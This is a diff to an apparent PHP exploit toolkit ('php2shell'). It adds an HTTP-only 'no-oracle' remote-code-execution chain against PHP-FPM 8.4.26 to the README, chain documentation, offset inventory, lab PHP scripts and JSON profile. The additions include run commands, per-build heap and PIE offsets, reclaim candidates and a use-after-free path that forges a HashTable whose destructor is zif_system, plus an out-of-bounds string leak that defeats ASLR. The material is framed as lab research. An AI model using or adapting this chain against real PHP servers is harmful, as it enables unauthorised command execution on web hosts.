@@ -36,7 +36,7 @@ not match the profile.
 | PHP 8.5.11 amd64 | `php:8.5.11-apache` | `php-8.5.11-bookworm-amd64` | yes | yes | **yes** | separate offsets, same `htdata` |
 | PHP 8.5.10 aarch64 | `php:8.5.10-apache` | `php-8.5.10-bookworm-aarch64` | yes | yes | **yes** | `uid=33(www-data)` |
 | PHP 8.4.26 amd64 | `php:8.4.26-apache` | `php-8.4.26-bookworm-amd64` | yes | yes | **yes** | reference build |
-| PHP 8.4.26 FPM | php-8.4.26 source tarball (nginx+FPM) | `8.4.26-fpm` | n/a | n/a | **yes** | `BG(unserialize)` chain; two-slot reclaim, self-correcting retries |
+| PHP 8.4.26 FPM amd64 | php-8.4.26 source tarball (nginx+FPM) | `php-8.4.26-fpm` | http (stale string) | http (stale string) | **yes** | `BG(unserialize)` chain; two-slot reclaim; HTTP-only `no-oracle` endgame |
 | PHP 8.4.25 aarch64 | `php:8.4.25-apache` | `php-8.4.25-bookworm-aarch64` | yes | yes | **yes** | probabilistic stage 3; retries |
 | PHP 8.5.0 aarch64 | `php:8.5.0-apache` | `php-8.5.0-bookworm` | yes | yes | no | stage-3 layout not found |
 | PHP 8.3.35 aarch64 | `php:8.3.35-apache` | `php-8.3.35-bookworm-aarch64` | yes | yes | no | stage-3 reference alive |
@@ -49,16 +49,22 @@ not match the profile.
 | PHP 8.2.0 aarch64 | `php:8.2.0-apache` | — (offsets only) | n/a | n/a | no | no heap profile |
 
 **14 profiles (13 heap + 1 FPM), 6 with verified RCE. Offsets extracted for
-12 builds.** The FPM profile has no heap-leak stages: the stale
-`BG(unserialize)` struct is located with the oracle each run
-([docs/fpm-chain.md](docs/fpm-chain.md)).
-
-`Heap leak` is stage 1, `libphp leak` is stage 2 and `RCE` is a real command
-proof on an isolated lab. `no` means not verified, not necessarily impossible;
-`n/a` means no heap profile exists for that build. The 8.2.0 row is an
-offsets-only entry. All `yes` rows use the lab configuration: Apache prefork
+12 builds.** The FPM profile has no Apache leak stages: `endgame` resolves the stale
+`BG(unserialize)` struct and the php-fpm PIE base with the
+`/proc/<pid>/mem` oracle each run; `no-oracle` leaks the two absolute bases
+over HTTP from a stale-session string OOB read, or takes them from
+`--chunk`/`--pie` or local `/proc/<pid>/maps`, then brute-forces the two
+slots ([docs/fpm-chain.md](docs/fpm-chain.md)).
+
+`Heap leak` is stage 1 and `libphp leak` is stage 2; `oracle (heap)` and
+`oracle (PIE)` mean the FPM chain reads the heap chunk and the php-fpm PIE base
+from `/proc/<pid>/mem` in local lab mode instead. `RCE` is a real command proof
+on an isolated lab. `no` means not verified, not necessarily impossible; `n/a`
+means no heap profile exists for that build. The 8.2.0 row is an
+offsets-only entry. All `yes` Apache rows use the lab configuration: prefork
 `mod_php`, one worker, `display_errors=On`, `memory_limit=8M` and
-`session.upload_progress=On`. Per-image offsets and `libphp` sha256 are in
+`session.upload_progress=On`; the FPM row uses the nginx+FPM lab. Per-image
+offsets and `libphp` sha256 are in
 [the offset inventory](docs/offset-inventory.md). The 8.4.25 profile needs the
 default retries because its stage 3 is probabilistic.
 
@@ -153,8 +159,9 @@ python3 tools/php2shell_inventory.py
 
 ### PHP-FPM laboratory (no Docker)
 
-The FPM chain runs against a user-prefix PHP build with nginx, using the
-`/proc/<pid>/mem` oracle (`ptrace_scope=0`):
+The FPM chain runs against an amd64 user-prefix PHP build with nginx. The
+default `endgame` uses the `/proc/<pid>/mem` oracle (`ptrace_scope=0`);
+`no-oracle` avoids it at exploit time and leaks chunk/PIE over HTTP by default:
 
 ```sh
 python3 tools/php2shell_fpm_labs.py up --version 8.4.26
@@ -164,6 +171,13 @@ python3 tools/php2shell_auto.py -u http://127.0.0.1:8110/index.php --sapi fpm \
 python3 tools/php2shell_fpm.py \
   --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \
   endgame
+# no /proc/<pid>/mem at exploit time (HTTP leak; --chunk/--pie override)
+python3 tools/php2shell_fpm.py \
+  --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 \
+  --command 'id>out/p1' --proof-file out/p1 no-oracle
+# print only the leaked bases
+python3 tools/php2shell_fpm.py \
+  --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 --version 8.4.26 leak
 python3 tools/php2shell_fpm_labs.py down
 ```
 
@@ -202,8 +216,9 @@ transfer. The FPM chain instead abuses the stale `BG(unserialize)` state:
    RINIT memsets `BG` — so the stale window is one request wide.
 2. **Locate and reclaim.** The stale 8216-byte `php_unserialize_data` struct is
    found with the `/proc/<pid>/mem` oracle (two candidate heap slots; a mismatch
-   self-corrects on retry). A 4 MB body posted to a second endpoint (the
-   builder pool) reclaims the chunk.
+   self-corrects on retry); `no-oracle` skips the mem read and tries both slots
+   directly. A 4 MB body posted to a second endpoint (the builder pool)
+   reclaims the chunk.
 3. **Forge and fire.** The reclaimed buffer carries a fake `zend_reference`
    whose `val` is a fake array whose `pDestructor` is `zif_system`. The consume
    request attaches it as session variable `r`; at session shutdown
@@ -237,6 +252,10 @@ offsets:
   even when the version has a single profile. HTTP does not expose the CPU
   architecture, so the dispatcher refuses instead of guessing.
 
+The FPM profile (`php-8.4.26-fpm`) is an **amd64** user-prefix build of the
+8.4.26 source tarball. It runs only in the local nginx+FPM laboratory, so the
+oracle selects the build and there is no remote architecture dispatch.
+
 ## Configuration requirements
 
 The shipped calibration targets:
 
@@ -85,6 +85,39 @@ The 4 MB arm phase is posted to a **second endpoint** (the builder pool,
 `memory_limit=64M`, `cleanup=Off`): posting it to the 8M chain pool would kill
 the consumer worker before the fire.
 
+### 2b. HTTP-only endgame (no `/proc/<pid>/mem`)
+
+`no-oracle` removes the memory oracle from the exploit path. It needs two
+absolute values that are stable for the lifetime of the FPM master (the
+workers are forked from it): the Zend-MM chunk base and the php-fpm PIE base.
+By default the client leaks both over HTTP; `--chunk`/`--pie` override them,
+and local `/proc/<pid>/maps` is only a fallback (it never opens
+`/proc/<pid>/mem`):
+
+```sh
+python3 tools/php2shell_fpm.py \
+  --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \
+  --version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \
+  no-oracle
+```
+
+The 16384-byte reclaim covers both struct slots: `d = chunk + 0x81000`
+with control offset `0xfe8`, and `d = chunk + 0x82000` with `0x1fe8`
+(`fpm.no_oracle.candidates` in the profile). A throw-away pads+big request
+normalizes the heap after the first arm, so the first candidate usually wins;
+a mismatch crashes the worker and the next candidate is tried. The worker
+still dies on success (HTTP 502) and the proof is the command's output file.
+
+The HTTP leak reuses the stale-session string: the builder's `bigvar.php`
+stores `k0..k3` before a 4 MB tail, a reclaimed 16 KB big field plants a forged
+`zend_string` header over the freed k1 slot, its length spans the stale zval
+array (chunk pointer) and the `execute_ex` handler table inside the chunk (PIE
+pointer), and the app reflects the bytes. The read is retried because the
+worker can abort after answering; `leak` prints the two bases.
+Absolute bases change when the master restarts, so the leak is repeated per
+run. This mode removes both the runtime `/proc/<pid>/mem` dependency and the
+need to know the ASLR bases in advance.
+
 ### 3. Forge — reference → fake array → `zif_system`
 
 The reclaimed buffer carries, at the offsets `php_var_unserialize` will read:
@@ -168,8 +201,14 @@ Pools (from `lab/fpm/php-fpm.conf.in`):
 - **builder** — `memory_limit=64M`, `cleanup=Off` (builds the ~4 MB session
   files consumed by `producer` and `build-oom`).
 
-Requirements: `yama ptrace_scope=0` (the `/proc/<pid>/mem` oracle), Python
-3.11+, gcc for the user-prefix PHP builds (`lab/fpm/build*.sh`).
+The builder webroot includes `bigvar.php` (the arm used by `leak`),
+`leakvar.php` (a tunable variant for geometry research) and `refb.php` (a
+benign short session). `app.php` can emit `X-Debug-*` diagnostics to
+`/tmp/p2s_dbg.txt`; those headers are lab-only instrumentation.
+
+Requirements: Python 3.11+, gcc for the user-prefix PHP builds
+(`lab/fpm/build*.sh`). The default `endgame` also needs `yama
+ptrace_scope=0` for the `/proc/<pid>/mem` oracle; `no-oracle` does not.
 
 ```sh
 python3 tools/php2shell_fpm_labs.py up --version 8.4.26
@@ -202,6 +241,12 @@ python3 tools/php2shell_fpm.py \
   --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \
   --version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \
   endgame
+
+# same fire, no /proc/<pid>/mem at exploit time
+python3 tools/php2shell_fpm.py \
+  --base http://127.0.0.1:8110 --builder http://127.0.0.1:8111 \
+  --version 8.4.26 --command 'id>out/p1' --proof-file out/p1 \
+  no-oracle
 ```
 
 (Global options come before the subcommand.)
@@ -219,15 +264,17 @@ python3 tools/php2shell_auto.py \
 Tests: the unit suite always runs; the live lab tests are gated:
 
 ```sh
-python3 -m unittest discover -s tests -v          # 48 tests, skips live FPM
+python3 -m unittest discover -s tests -v          # 51 tests, skips live FPM
 PHP2SHELL_FPM_LAB=1 python3 -m unittest \
-  tests.test_fpm.FpmLabIntegrationTests -v        # primitive + endgame live
+  tests.test_fpm.FpmLabIntegrationTests -v        # primitive + endgame + no-oracle live
 ```
 
 ## Limitations and future work
 
-- **Oracle lab mode.** The remote (no-oracle) leak of `d` is future work; the
-  shipped chain needs `/proc/<pid>/mem` and therefore runs loopback-only.
+- **Oracle lab mode.** `endgame` still uses the `/proc/<pid>/mem` oracle to
+  resolve `d`. `no-oracle` drops that read at exploit time and leaks the
+  chunk/PIE bases over HTTP by default; `--chunk`/`--pie` and local maps are
+  overrides/fallbacks. The shipped chain still targets the loopback lab.
 - **Per-build offsets.** `basic_globals` / `zif_system` / `zval_ptr_dtor` are
   PIE-relative offsets for the exact FPM build; another distro or version
   needs its own profile (`sapi: "fpm"`, see `profiles/schema.json`).
 
@@ -19,8 +19,10 @@ Generated from `profiles/*.json` by `tools/php2shell_inventory.py`.
 | 8.5.11 | php-8.5.11-bookworm-aarch64 | 0x5314f0 | 0x761b80 | 0x690d8 | 841 | 63 | 406 | yes |
 | 8.5.11 | php-8.5.11-bookworm-amd64 | 0x5996e0 | 0x7b47a0 | 0x690d8 | 841 | 63 | 406 | yes |
 
-**14 profiles, 6 with verified RCE** (5 Apache/mod_php + 1 PHP-FPM).
-| 8.4.26 FPM | php-8.4.26-fpm | 0x386660 | 0x54a0d0 | - | - | - | - | yes |
+**14 profiles, 6 with verified RCE** (5 Apache/mod_php + 1 PHP-FPM). The FPM
+row is an amd64 user-prefix build; its stage columns do not apply. The
+`no-oracle` path leaks the chunk and PIE bases over HTTP from the stale session
+string; the lab-only `endgame` can still read them through `/proc`.
 
 ## Per-build notes
 
 
@@ -9,11 +9,49 @@
  */
 session_start();
 header('Content-Type: text/plain; charset=binary');
+$dbg_r = !empty($_SERVER['HTTP_X_DEBUG_R']);
+if ($dbg_r && isset($_SESSION['r'])) {
+    $early = "pre type=".gettype($_SESSION['r'])." strlen=".(is_string($_SESSION['r'])?strlen($_SESSION['r']):-1);
+    if (is_string($_SESSION['r'])) { $early .= " hex=".bin2hex(substr($_SESSION['r'], 0, 64)); }
+    if (!empty($_SERVER['HTTP_X_DEBUG_ADDR'])) {
+        $addr = intval($_SERVER['HTTP_X_DEBUG_ADDR'], 0);
+        $m = @fopen('/proc/self/mem', 'rb');
+        if ($m) {
+            fseek($m, $addr);
+            $raw = @fread($m, 40);
+            fclose($m);
+            if ($raw !== false && strlen($raw) === 40) {
+                $early .= " memlen=".unpack('P', substr($raw, 16, 8))[1]
+                       . " memval=".bin2hex(substr($raw, 24, 16));
+            } else { $early .= " memread_fail"; }
+        }
+    }
+    file_put_contents('/tmp/p2s_dbg.txt', $early."\n", FILE_APPEND);
+}
+if (!empty($_SERVER['HTTP_X_ECHO_DELAY'])) {
+    usleep((int)$_SERVER['HTTP_X_ECHO_DELAY']);
+}
+if ($dbg_r && isset($_SESSION['r'])) {
+    $mid = "mid type=".gettype($_SESSION['r'])." strlen=".(is_string($_SESSION['r'])?strlen($_SESSION['r']):-1);
+    file_put_contents('/tmp/p2s_dbg.txt', $mid."\n", FILE_APPEND);
+}
 if (!isset($_SESSION) || !is_array($_SESSION)) {
     echo "SESSION_EMPTY\n";
     exit;
 }
 foreach ($_SESSION as $k => $v) {
+    if ($k === 'r' && !empty($_SERVER['HTTP_X_DEBUG_R'])) {
+        $dbg = "type=".gettype($v);
+        if (is_string($v)) {
+            $dbg .= " strlen=".strlen($v)." hex=".bin2hex(substr($v, 0, 64));
+        }
+        if (is_object($v) || is_array($v)) {
+            $dbg .= " cls=".(is_object($v)?get_class($v):"arr");
+        }
+        $ref = $_SESSION['r'];
+        $dbg .= " same=".($_SESSION['r'] === $v ? "Y":"N");
+        file_put_contents('/tmp/p2s_dbg.txt', $dbg."\n", FILE_APPEND);
+    }
     if (is_string($v)) {
         echo $k, "\t", $v, "\n";
     } elseif (is_scalar($v) || $v === null) {
 
@@ -0,0 +1,23 @@
+<?php
+/* php2shell FPM laboratory — arm variant for the no-oracle leak research.
+ *
+ * Writes a session whose SMALL variables are decoded (and pushed onto the
+ * unserialize var_hash) BEFORE the giant tail triggers the producer OOM.
+ * The stale BG(unserialize) entries therefore retain dangling zval
+ * pointers, which the consume request can reference via R:N without
+ * knowing the struct address.
+ *
+ * The k-strings are long on purpose: after the producer OOM their freed
+ * slots become the UAF-read window (R:N binds session 'r' to the stale
+ * zval; echoing r dumps whatever reused the freed string buffer). The 4MB
+ * tail is calibrated so the producer OOM fires while unserializing the
+ * VALUE (the 4MB session file is already resident), i.e. AFTER k0..k3
+ * were pushed onto the var_hash. Lab-only scaffold.
+ */
+session_start();
+$_SESSION['k0'] = str_repeat('K', 2000);
+$_SESSION['k1'] = str_repeat('L', 2000);
+$_SESSION['k2'] = str_repeat('M', 2000);
+$_SESSION['k3'] = str_repeat('N', 2000);
+$_SESSION['big'] = str_repeat('B', 4 * 1024 * 1024);
+echo "BIGVAR_OK\n";
@@ -0,0 +1,19 @@
+<?php
+/* Lab-only arm variant for the stale-string leak research.
+ *
+ * The value of k1 is the R:2 target (data[1]) after the producer OOM. Its
+ * length is tunable so its freed string buffer lands in a chosen Zend-MM
+ * size class and can be reused by a later allocation (e.g. a HashTable).
+ */
+session_start();
+$n0 = isset($_GET['n0']) ? max(1, (int)$_GET['n0']) : 2000;
+$n1 = isset($_GET['n1']) ? max(1, (int)$_GET['n1']) : 2000;
+$n2 = isset($_GET['n2']) ? max(1, (int)$_GET['n2']) : 2000;
+$n3 = isset($_GET['n3']) ? max(1, (int)$_GET['n3']) : 2000;
+$_SESSION = array();
+$_SESSION['k0'] = str_repeat('K', $n0);
+$_SESSION['k1'] = str_repeat('L', $n1);
+$_SESSION['k2'] = str_repeat('M', $n2);
+$_SESSION['k3'] = str_repeat('N', $n3);
+$_SESSION['big'] = str_repeat('B', 4 * 1024 * 1024);
+echo "LEAKVAR_OK\n";
@@ -0,0 +1,7 @@
+<?php
+/* Lab-only benign session builder: d/a with no R:N. */
+session_start();
+$_SESSION = array();
+$_SESSION['d'] = 'pad';
+$_SESSION['a'] = 'x';
+echo "REFB_OK\n";
@@ -20,7 +20,30 @@
     "struct_size": 8216,
     "reclaim_pads": [4096, 4096, 4096],
     "reclaim_size": 12288,
-    "oracle": "/proc/<pid>/mem (local lab)"
+    "oracle": "/proc/<pid>/mem (local lab)",
+    "no_oracle": {
+      "reclaim_pads": [4096, 4096, 4096],
+      "reclaim_size": 16384,
+      "candidates": [
+        {"d_off": "0x81000", "k": "0xfe8"},
+        {"d_off": "0x82000", "k": "0x1fe8"},
+        {"d_off": "0x81000", "k": "0x1fe8"},
+        {"d_off": "0x82000", "k": "0xfe8"}
+      ],
+      "bases": "stable for the FPM master lifetime; supply --chunk/--pie or derive locally from /proc/<pid>/maps"
+    },
+    "leak": {
+      "arm_path": "/bigvar.php",
+      "pads": [32768, 16384],
+      "size": 16384,
+      "header_content_off": "0x17e8",
+      "read_len": "0x15810",
+      "chunk_ptr_off": "0x77f8",
+      "chunk_base_off": "0x8b000",
+      "pie_ptr_off": "0x157e8",
+      "pie_base_off": "0x4ea787",
+      "bases": "leaked over HTTP from a stale short-session string OOB read"
+    }
   },
   "stages": {},
   "config": {
@@ -29,6 +52,6 @@
     "session_upload_progress": "On",
     "workers": 2
   },
-  "status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, a controlled buffer forges var_hash so R:2 yields an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; the worker aborts after the command and FPM respawns it. The 8216-byte struct recycles between two heap slots; a mismatch self-corrects within four retries (see docs/fpm-chain.md).",
+  "status": "RCE verified in the nginx+FPM lab: post-RINIT OOM leaves BG(unserialize) stale (level=1), the pre-RINIT rfc1867 session_start of a follow-up multipart reuses the freed struct, a controlled buffer forges var_hash so R:2 yields an IS_REFERENCE -> fake HashTable whose pDestructor is zif_system; the worker aborts after the command and FPM respawns it. The 8216-byte struct recycles between two heap slots; a mismatch self-corrects within four retries. The no-oracle path leaks chunk/PIE over HTTP from a stale-session string OOB read (see docs/fpm-chain.md).",
   "oom_mb": 4
 }